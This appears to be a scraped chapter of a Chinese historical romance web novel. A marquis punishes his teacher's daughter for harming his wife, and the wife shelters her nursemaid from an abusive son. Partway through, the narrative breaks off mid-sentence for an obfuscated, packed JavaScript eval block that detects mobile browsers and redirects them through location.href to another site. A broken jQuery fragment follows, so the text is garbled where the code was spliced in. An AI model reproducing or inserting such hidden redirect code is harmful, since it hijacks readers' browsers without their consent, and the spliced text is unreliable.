他的下巴抵靠着她的肩窝,整个人用足了力道,俯着腰把她拢在怀里。
纤细柔软的身子紧紧贴近他胸膛。
原来她的脊背这么瘦,一时候霍钊动作都好像僵住了,只敢轻轻地、虚虚地把她包裹在怀中。
鼻端是她清浅的呼吸声,栖冬和卢嬷嬷早不知道什么时候退出去了,屋里只有他们两人交错的喘息。
殷婉被他这动作搞得脸红耳热,别别扭扭不知道多久,终于感觉环在她背后的手慢慢松开,她重新对上了那张熟悉的脸。
他的眼睛还略微泛着红,一看就是没怎么休息好的样子。
“侯爷您该歇歇了。”她道。
霍钊清了清嗓子,喉咙缓缓滚动出一个“嗯”字。
明明他是欣喜的,明明这时候好像有万语千言想要说。
可开口却还是一句不软不硬的,
“我还有点儿事要处理,你先好好休息。”
.
廖家。
家中早已鸡飞狗跳了三日,廖廷黑着脸将女儿关在宗祠骂了无数遍,这晚,听说侯夫人醒了过来,他方放缓了心神,连日来第一次进屋休整。
他心里不打算严惩女儿,奈何悠悠众口难堵,廖寄柔的名声,已是彻底毁了。
可他仍不甘心,还想趁此风头过去,悄悄再把女儿从宗祠放出来。
还没睡着,管事却突然叩响了门扉,廖廷刚想破口大骂,管事却匆匆过来,低头在他身侧说了几句。
廖廷一下大惊失色,猛地一站起来,便再顾不得睡觉,胡乱披起衣裳就开了门。
管家给他引着路,他一路小跑着到中厅,果不其然,看到敞亮的内间,坐着一道漆黑的身影。
霍钊戴着墨色玉冠,宽袍博带,可一双眸子却比平日里还要更黑更沉,整个人散发着锋锐而冷厉的气息。
廖廷一路气喘,到此刻却顾不得休整,先站定后就忙一作揖,热情道:“侯爷,您来了。”
霍钊也向他还礼,眼神却不似从前,带着几分疏离和冷淡,“老师。”
廖廷听他声音,已是心中打鼓,抬眼迷茫问,“今夜侯爷来访,不知所为何事?”
“老师,想必您十分清楚我为何来此”,霍钊轻叹一声,“你我师徒二人,就不必走这些过场了吧。”
廖廷当然知道是为了自家女儿做的一番糊涂事,可他一向心疼这个幺女,罚跪祠堂已是能忍心做出的最大惩罚了。
霍钊大概能猜出他心中所想,便道,“廖小姐所言所行,实在有违廖家的家风家规,放眼京中贵女,像她这般的,我应当找不出第二人了……”
廖寄柔一向自诩品行贵重,口齿伶俐,在城中贵女中以此名声风闻。
然而这些都是廖廷早先帮着经营之故,女儿容貌一般,唯有品行端正能跻身贵女之列,他好心经营一番,可如今这个牌坊倒了,便是打了他自己的脸,更别提这风声走漏出去了……
廖廷冷汗直冒,扑通一下跪倒在地,“侯爷,小女也是一时猪油蒙了心,还请您看在我的面子上,高抬贵手……”
“老师”,
霍钊打断了他,
“按我原本的意思,廖小姐谋害吾妻,我原本是想把她送到京兆尹查办,可到底怕影响了您廖家。……因此,过来这一趟已经是我看在您的面子上对她从轻发落了。”
廖廷闻言僵僵地定在那儿,几乎不敢相信自己的耳朵,“京兆尹?她还只是个孩子啊……”
“老师,您糊涂了”,
霍钊冷声,说着已经是一拂袖,
“今日我夜探廖府,就是不想让此事闹的太难看,廖小姐咎由自取,罔顾宗法。她的所作所为,若是报官,想必会受到重罚,不光如此,您身为朝廷命官,也会因为爱女的这番行径而受到惩处。”
所以……所以是要他重惩自己的女儿?!
廖廷涕泗横流,再次俯拜跪地,“侯爷,求您……”
“老师,还请您想清楚。”
霍钊再也没有看他,转身离开……
.
殷婉知道消息是在清醒后的第三日。
彼时她正倚在榻上刚憋着气喝完药,一下还有些惊讶,“你说廖寄柔被送走了?”
栖夏接过碗放在桌上,点头道,“昨日车马刚出门,估计这时候也快到京外庵堂了。”
廖寄柔最终还是被家人送去做姑子了。听说她在门前吵闹了好一阵,最后还是廖廷看不下眼去,亲自把她推上马车的。
看到殷婉表情淡定,栖夏有些疑惑,“主子难道不高兴?”
“谈不上高不高兴,只不过早不在意她了。”
殷婉拿起来旁边的一颗蜜饯,并不想多想这人,转而问,“卢嬷嬷儿子那边,都处理好了?”
栖夏一下收了笑,想起来眼角发肿还在屋里休养的卢嬷嬷,义愤填膺道,“那个白眼狼儿,还以为接人回来是孝顺阿娘,没想到只是把人当免费劳力,替他照顾孩子不说,还动辄喝多了酒殴打。”
她想起那天卢嬷嬷支支吾吾找借口说自己是不小心撞到立柜,借此为儿子遮掩暴行就忍不住心疼。
“嬷嬷还是太心软,要不是主子您明察秋毫,连我都被嬷嬷骗了过去。”
原来醒来当晚,殷婉就注意到了嬷嬷脸上有个淤青,不是栖夏看到的红肿伤口,经过多日已经变成了一道乌青创面,瞧着很是可怖。
倘若像嬷嬷说的只是撞到柜子,脸上肯定会有一个带血点的伤痕,但那眼角却是一大片黑青,一看就是被人打的。
殷婉想到这里已经面色发沉,
“听好了,以后那边不管出什么事都不要让人来纠缠嬷嬷。他要借口接人回去,就说我这边负责照顾人晚年,让他趁早歇了那颗颐指气使的心。”
“可侯爷那边……”
栖夏有些担心,“嬷嬷毕竟是外边的人,不是侯府的仆从,从前也没有过这样的先例。”
殷婉也迟疑了。
她尽管手头也有些银两,足够给人在外边置办个小院,但嬷嬷那儿子到底难缠,还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011370|188368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不如在她身边安心。
“等我得空问问侯爷吧。”
栖夏这就放心了,“主子开口,侯爷肯定会同意。”
殷婉不知道栖夏哪里来的底气。
这可是有违规矩的事,他那边,估计不好商量。
想了想,先给前院的阿东递了个话……
到了晚间,霍钊回来,眉目中是难掩的疲惫,殷婉知道这些日子朝堂动静不小,估计也是忙乱。
当即站起来就想帮人更衣,却被他挥手拦住,“你歇着。”
霍钊看了眼榻旁坐着的人影,单薄的中衣勾勒出她的身形,瞧着比以前瘦了太多,一时也不想让她忙活,换下衣裳就入了浴房。
等出来,就看到她已经盖好被子躺下,整个人缩在被子里。
这幅场景让他没来由眉眼和缓了许多。
“好些了吗?”
他坐在床边,问。
“多亏有林太医帮忙看诊,已经好多了。”
霍钊认认真真打量她一番,看到脸色确实比前两天要红润点了,这才相信了她的话。
“有什么问题,尽管跟林太医说。”
他的眼神依旧没移开。
殷婉支吾了两声,“……林太医这些天宫里府里两边跑,我想着,等再过两日就不必让人再过来了。”
“不,就让林太医继续照顾你。”
霍钊的语气突然严肃。片刻后,他又缓了缓声音,“林太医年纪大了,再过半月就要离宫,我的意思是,把他请来专门顾着你这边。”
“可府里已经有张院正了,何必再多请一人?”殷婉局促。
“总之,我已经决定好了,过两日就安排下去。”
霍钊又是这种不容置喙的态度,让殷婉一时候不知道要不要该问他卢嬷嬷的事,只能“嗯”了一声转身平躺,心里是又憋又闷。
过了不知道多久,静悄悄的帐外突然传来他的一声询问,“怎么了?”
“没事。”殷婉憋着一股气,“妾身累了。侯爷您记得早些睡。”
帐外的人突然叹了一口气,他解释道,
“张院正再怎么都是阿娘那边的人,一来二去总有不方便。再说了,都是女主子,我不想让你总问桂慈院找医工。”
突然这么直白的话让殷婉一时有些别扭,正不知道怎么回答的时候,听到霍钊又问,“你今日,派人找我?”
殷婉激灵了一下,
“……嗯,还是有个事儿想请夫君应允。”
“嗯,你说。”
“就是我身边的卢嬷嬷,您也知道,因为出了点情况,我就想把人留在府里照顾。”
殷婉简单把嬷嬷的消息跟他讲了,说完,惴惴不安地等他答复。
“这种事,你看着办就行了。”
霍钊几乎没有一秒停顿就答应了下来,再然后开口堵住了她的话茬,
“要道谢就不必了,安置吧。”
他怎么猜到的……
殷婉张了张嘴,咽下原本的话音。